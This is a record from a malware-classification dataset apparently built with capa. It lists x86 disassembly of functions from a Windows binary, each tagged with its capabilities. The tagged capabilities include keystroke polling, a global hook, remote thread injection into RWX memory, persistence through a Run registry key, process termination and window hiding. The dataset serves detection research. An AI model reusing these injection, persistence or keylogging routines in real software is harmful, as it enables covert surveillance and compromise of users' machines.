joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44e0e4
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
add esp, 0xfffffff8
mov ebx, eax
call sub.user32.dll_GetActiveWindow
mov dword [esp], eax
mov byte [esp + 4], 0
test bl, bl
je 0x44e10a
mov eax, esp
push eax
push 0x44e0ac
call sub.user32.dll_EnumWindows
jmp 0x44e11d
mov eax, esp
push eax
push 0x44e08c
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
call sub.user32.dll_EnumThreadWindows
movzx eax, byte [esp + 4]
pop ecx
pop edx
pop ebx
ret

Function at 0x44e1a8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
movzx ebx, byte [0x44e1fc]
test si, 4
je 0x44e1bd
or bl, 1
test si, 8
je 0x44e1c7
or bl, 4
test si, 1
je 0x44e1d1
or bl, 8
test si, 2
je 0x44e1db
or bl, 0x10
test si, 0x10
je 0x44e1e5
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44e1f4
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x44e200
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
movzx ebx, byte [0x44e23c]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44e21a
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44e229
or bl, 4
test esi, 0x20000000
je 0x44e234
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x4562a8
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x4562ba
add esp, 0xfffffff0
call fcn.00403f60
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041e948
mov eax, dword [0x465910]
mov dword [eax + 4], ebx
mov dword [eax], 0x45664c
mov eax, dword [0x46591c]
mov dword [eax + 4], ebx
mov dword [eax], 0x456658
mov eax, ebx
call fcn.00456664
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x415fd8]
call fcn.00403c24
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x415fd8]
call fcn.00403c24
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x415fd8]
call fcn.00403c24
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x415fd8]
call fcn.00403c24
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x415fd8]
call fcn.00403c24
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x451b0c
push eax
push 0
push 0
mov eax, dword [0x465a88]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x423888]
call fcn.00424da8
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x423888]
call fcn.00424da8
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x423888]
call fcn.00424da8
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00456adc
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4569ac
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4569ac
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4569ac
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4563f7
call fcn.00403fb8
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x456790
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45693b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x45691c
mov dl, 1
mov eax, dword [0x4163fc]
call fcn.00403c24
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404b1c
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x45690b
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00447f28
test al, al
je 0x4568fe
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x45694c
lea eax, [ebp - 0x254]
call fcn.00409d80
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4568fe
xor eax, eax
push ebp
push 0x4568f7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x456984
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4568e0
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404d8c
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x4568e0
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404d8c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4568fe
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x456801
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x25], 0
mov dl, 1
call fcn.0041a130
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x456942
lea eax, [ebp - 0x260]
call fcn.00404b1c
ret

Function at 0x4572b4
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x46ac9c]
cmp byte [eax + 0xad], 0
jne 0x457325
cmp dword [0x46acb8], 0
jne 0x4572e6
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x457270
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x46acb8], eax
cmp dword [0x46acb4], 0
jne 0x457301
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x46acb4], eax
cmp dword [0x46acbc], 0
jne 0x457325
push esp
push 0
push 0
push 0x457214
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x46acbc], eax
pop edx
ret
Function at 0x457528
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x45753f
add esp, 0xfffffff0
call fcn.00403f60
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041e948
mov eax, dword [0x465a74]
cmp word [eax + 2], 0
jne 0x457567
mov eax, dword [0x465a74]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00459218
mov eax, dword [0x465b28]
cmp word [eax + 2], 0
jne 0x457581
mov eax, dword [0x465b28]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00459424
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x415fd8]
call fcn.00403c24
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x415fd8]
call fcn.00403c24
mov dword [ebx + 0x98], eax
mov dl, 1
mov eax, dword [0x415fd8]
call fcn.00403c24
mov dword [ebx + 0xb0], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0xa5], 1
mov byte [ebx + 0xbc], 1
mov dl, 1
mov eax, dword [0x424064]
call fcn.00429f30
mov esi, eax
mov dword [ebx + 0xa0], esi
push 0x457738
mov eax, dword [0x46597c]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0042a304
mov eax, dword [ebx + 0xa0]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x459af8
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x46597c]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040d7b8
test eax, eax
je 0x457688
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00409724
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040d7ec
test eax, eax
je 0x45769c
mov byte [eax], 0
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_CharNextA_1
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404d8c
mov byte [ebx + 0xd4], 0
push ebx
push 0x458ca4
call fcn.0041fac4
mov dword [ebx + 0xc8], eax
mov eax, dword [0x46586c]
cmp byte [eax], 0
jne 0x4576ed
mov eax, ebx
call fcn.0045787c
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0xa6], 1
xor eax, eax
mov dword [ebx + 0xa8], eax
mov eax, ebx
call fcn.00459d0c
mov eax, ebx
call fcn.0045a870
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45772d
call fcn.00403fb8
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x457afc
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [ebx + 0x30]
test eax, eax
je 0x457b9b
cmp dword [ebx + 0x94], 0
jne 0x457b95
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x457a84
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x457b95
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x457b5b
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x457b95
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.004183d8
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x457b6a
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x457db4
Capabilities:
Enumerate gui resources
Hide graphical window

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov eax, dword [0x46ac9c]
cmp dword [eax + 0x30], 0
je 0x457f11
test bl, bl
jne 0x457e62
cmp dword [esi + 0x9c], 0
jne 0x457e57
mov eax, esi
call fcn.0045a6ec
push eax
push 0x457ce0
call sub.user32.dll_EnumWindows
cmp dword [esi + 0x44], 0
je 0x457e28
mov eax, dword [0x46ac9c]
call fcn.0045acdc
test al, al
je 0x457e28
mov eax, dword [0x46acc0]
call fcn.00405cf8
mov edi, eax
cmp edi, 0
jl 0x457e28
push 0
mov eax, dword [0x46acc0]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x457e12
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x457e57
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.004183d8
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x457e37
inc dword [esi + 0x9c]
jmp 0x457f11
cmp dword [esi + 0x9c], 0
jle 0x457f11
dec dword [esi + 0x9c]
cmp dword [esi + 0x9c], 0
jne 0x457f11
cmp dword [esi + 0x44], 0
je 0x457ebd
mov eax, dword [0x46ac9c]
call fcn.0045acdc
test al, al
je 0x457ebd
mov eax, dword [0x46acc0]
call fcn.00405cf8
mov edi, eax
cmp edi, 0
jl 0x457ebd
push 5
mov eax, dword [0x46acc0]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x457ea7
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x457eec
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.004183d8
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x457ecc
mov eax, dword [esi + 0x98]
mov edx, dword [eax]
call dword [edx + 8]
push 0
mov eax, 0x46acc0
mov ecx, 1
mov edx, dword [0x457cc0]
call fcn.00405eac
add esp, 4
pop edi
pop esi
pop ebx
ret
Function at 0x4589f8
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xfffffefc
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x458a62
mov eax, ebx
call fcn.0045acdc
test al, al
jne 0x458a62
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404c0c
mov eax, dword [esi]
mov dword [esp + 0x100], eax
mov eax, dword [esp + 0x100]
test eax, eax
je 0x458a4f
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x458a6f
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404b70
jmp 0x458a6f
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404b70
add esp, 0x104
pop esi
pop ebx
ret

Function at 0x459ef0
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x459f5e
mov eax, esi
call fcn.00442d60
test al, al
je 0x459f5e
mov eax, dword [ebx + 0x84]
call fcn.00442a64
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x459f5e
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xf0]
test al, al
je 0x459f52
push 0
mov eax, dword [ebx + 0x84]
call fcn.00442a64
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.0043ab08
jmp 0x459f5e
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.00459d2c
pop esi
pop ebx
ret

Function at 0x45bba0
Capabilities:
Hash data with md5

Disassembly:
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
xor edx, edx
mov dword [eax + 0x10], edx
xor edx, edx
mov dword [eax + 0x14], edx
add eax, 0x18
xor ecx, ecx
mov edx, 0x40
call fcn.00403588
ret
Function at 0x45d21c
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404f9c
xor eax, eax
push ebp
push 0x45d31c
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
push ebx
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
test ebx, ebx
je 0x45d306
mov edi, dword [ebp - 4]
mov eax, edi
test eax, eax
je 0x45d269
sub eax, 4
mov eax, dword [eax]
add eax, eax
inc eax
call fcn.00402e90
mov esi, eax
mov eax, edi
test eax, eax
je 0x45d27e
sub eax, 4
mov eax, dword [eax]
mov ecx, eax
add ecx, ecx
inc ecx
mov edx, esi
mov eax, dword [ebp - 4]
call fcn.00405a30
push esi
call sub.kernel32.dll_lstrlenW
inc eax
mov edi, eax
add edi, edi
push 0x40
push 0x3000
push edi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0xc], eax
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push edi
push esi
mov eax, dword [ebp - 0xc]
push eax
push ebx
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x45d2f9
push 0x45d330
push 0x45d340
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
xor edx, edx
mov dword [ebp - 0x10], edx
lea edx, [ebp - 0x10]
push edx
push 0
mov edx, dword [ebp - 0xc]
push edx
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
test eax, eax
setne byte [ebp - 5]
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, esi
call fcn.00402eac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45d323
lea eax, [ebp - 4]
call fcn.00404b1c
ret

Function at 0x45d4d8
Capabilities:
Get hostname

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, eax
mov dword [esp], pe_nt_image_headers32
push esp
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x45d509
mov eax, ebx
lea edx, [esp + 4]
mov ecx, pe_nt_image_headers32
call fcn.00404d8c
jmp 0x45d510
mov eax, ebx
call fcn.00404b1c
add esp, 0x104
pop ebx
ret

Function at 0x45d574
Capabilities:
Terminate process

Disassembly:
push ebx
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov ebx, eax
push 0
push ebx
call sub.kernel32.dll_TerminateProcess
push ebx
call sub.kernel32.dll_CloseHandle
pop ebx
ret
Function at 0x45d594
Capabilities:
Get disk information
Get process image filename

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffcc0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x338], ecx
mov dword [ebp - 0x33c], ecx
mov dword [ebp - 0x340], ecx
mov dword [ebp - 0x330], ecx
mov dword [ebp - 0x334], ecx
mov dword [ebp - 0x32c], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], edx
mov edi, eax
xor eax, eax
push ebp
push 0x45d7ec
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x4163fc]
call fcn.00403c24
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
push eax
push 0x104
call sub.kernel32.dll_GetLogicalDriveStringsA
mov esi, eax
test esi, esi
jns 0x45d605
add esi, 3
sar esi, 2
test esi, esi
jl 0x45d675
inc esi
lea ebx, [ebp - 0x114]
lea eax, [ebp - 0x320]
movzx edx, byte [ebx]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x320]
lea eax, [ebp - 0x324]
call fcn.0040346c
lea eax, [ebp - 0x328]
movzx edx, byte [ebx + 1]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x328]
lea eax, [ebp - 0x324]
mov cl, 2
call fcn.0040343c
lea edx, [ebp - 0x324]
lea eax, [ebp - 4]
call fcn.00404d80
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
call dword [ecx + 0x38]
add ebx, 4
dec esi
jne 0x45d613
push edi
push 0
push 0x400
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 0xc], eax
push 0x105
lea eax, [ebp - 0x218]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.PSAPI.dll_GetProcessImageFileNameA
test eax, eax
je 0x45d7b5
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
call dword [edx + 0x14]
mov esi, eax
dec esi
test esi, esi
jl 0x45d7b5
inc esi
xor ebx, ebx
push 0x104
lea eax, [ebp - 0x31c]
push eax
lea ecx, [ebp - 0x32c]
mov edx, ebx
mov eax, dword [ebp - 0x10]
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x32c]
call fcn.00404fac
push eax
call sub.kernel32.dll_QueryDosDeviceA
test eax, eax
je 0x45d7ad
lea eax, [ebp - 0x330]
lea edx, [ebp - 0x218]
mov ecx, 0x104
call fcn.00404d8c
mov eax, dword [ebp - 0x330]
push eax
lea eax, [ebp - 0x334]
lea edx, [ebp - 0x31c]
mov ecx, 0x104
call fcn.00404d8c
mov eax, dword [ebp - 0x334]
pop edx
call fcn.004050f8
test eax, eax
jle 0x45d7ad
lea ecx, [ebp - 0x338]
mov edx, ebx
mov eax, dword [ebp - 0x10]
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x338]
push eax
lea eax, [ebp - 0x33c]
push eax
mov eax, 0x104
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x31c]
call fcn.004096d0
xor edx, edx
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
push eax
lea eax, [ebp - 0x31c]
call fcn.004096d0
inc eax
push eax
lea eax, [ebp - 0x340]
lea edx, [ebp - 0x218]
mov ecx, 0x104
call fcn.00404d8c
mov eax, dword [ebp - 0x340]
pop edx
pop ecx
call fcn.00405014
mov ecx, dword [ebp - 0x33c]
mov eax, dword [ebp - 8]
pop edx
call fcn.00404e34
inc ebx
dec esi
jne 0x45d6b8
mov eax, dword [ebp - 0x10]
call fcn.00403c54
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45d7f3
lea eax, [ebp - 0x340]
mov edx, 6
call fcn.00404b40
lea eax, [ebp - 4]
call fcn.00404b1c
ret
Function at 0x45d84c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor edx, edx
mov dword [ebp - 0x10c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x45d8bb
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x104
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea edx, [ebp - 0x10c]
lea eax, [ebp - 0x105]
call fcn.00409910
mov edx, dword [ebp - 0x10c]
mov eax, ebx
mov ecx, 0x45d8d0
call fcn.00404e34
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45d8c2
lea eax, [ebp - 0x10c]
call fcn.00404b1c
ret

Function at 0x45d8d4
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404f9c
mov eax, dword [ebp - 8]
call fcn.00404f9c
xor eax, eax
push ebp
push 0x45d9c5
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
mov dl, 1
mov eax, dword [0x422c40]
call fcn.00422d40
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x45d9a3
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x45d983
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x80000002
mov eax, dword [ebp - 0x10]
call fcn.00422e1c
mov cl, 1
mov edx, 0x45d9e0
mov eax, dword [ebp - 0x10]
call fcn.00422e80
test bl, bl
je 0x45d962
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
call fcn.0042320c
jmp 0x45d96d
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
call fcn.00423174
mov eax, dword [ebp - 0x10]
call fcn.00422dec
mov byte [ebp - 9], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x45d98d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45d9aa
mov eax, dword [ebp - 0x10]
call fcn.00403c54
ret
Function at 0x45df28
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec4
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x130], eax
lea edi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x45e0b5
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, 2
call fcn.0045b148
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45e090
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [edi], 0x128
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.0045b168
mov ebx, eax
jmp 0x45e071
call sub.kernel32.dll_GetCurrentProcessId
cmp eax, dword [edi + 8]
je 0x45e065
lea eax, [ebp - 0x130]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404d8c
mov eax, dword [ebp - 0x130]
mov edx, 0x45e0cc
call fcn.00408bf8
test al, al
jne 0x45e040
lea eax, [ebp - 0x134]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404d8c
mov eax, dword [ebp - 0x134]
mov edx, 0x45e0cc
call fcn.00408bf8
test al, al
jne 0x45e040
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404d8c
mov eax, dword [ebp - 0x138]
mov edx, 0x45e0ec
call fcn.00408bf8
test al, al
jne 0x45e040
lea eax, [ebp - 0x13c]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404d8c
mov eax, dword [ebp - 0x13c]
mov edx, 0x45e0ec
call fcn.00408bf8
test al, al
je 0x45e065
mov eax, dword [edi + 8]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov esi, eax
cmp esi, 0x20
jbe 0x45e065
push 0
push esi
call sub.kernel32.dll_TerminateProcess
push esi
call sub.kernel32.dll_CloseHandle
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.0045b188
mov ebx, eax
test ebx, ebx
jne 0x45df96
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45e097
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CloseHandle
ret
Function at 0x45f4c8
Capabilities:
Enumerate gui resources

Disassembly:
add esp, 0xfffffff8
xor eax, eax
mov dword [esp], eax
xor eax, eax
mov dword [esp + 4], eax
mov eax, esp
push eax
push 0x45f23c
call sub.user32.dll_EnumWindows
cmp dword [esp], 1
seta al
pop ecx
pop edx
ret

Function at 0x45f6e0
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
add esp, 0xfffffff4
push 0
push 0x45f738
call sub.user32.dll_FindWindowA
cmp eax, 0x20
jae 0x45f701
push 0
push 0x45f748
call sub.user32.dll_FindWindowA
cmp eax, 0x20
jb 0x45f731
push esp
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [esp]
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 8], eax
lea eax, [esp + 4]
push eax
push 0x45f4f0
call sub.user32.dll_EnumWindows
cmp dword [esp + 8], 0
seta bl
mov eax, ebx
add esp, 0xc
pop ebx
ret

Function at 0x45f8a0
Capabilities:
Enumerate gui resources

Disassembly:
add esp, 0xfffffff8
xor eax, eax
mov dword [esp], eax
xor eax, eax
mov dword [esp + 4], eax
mov eax, esp
push eax
push 0x45f758
call sub.user32.dll_EnumWindows
cmp dword [esp + 4], 0
seta al
pop ecx
pop edx
ret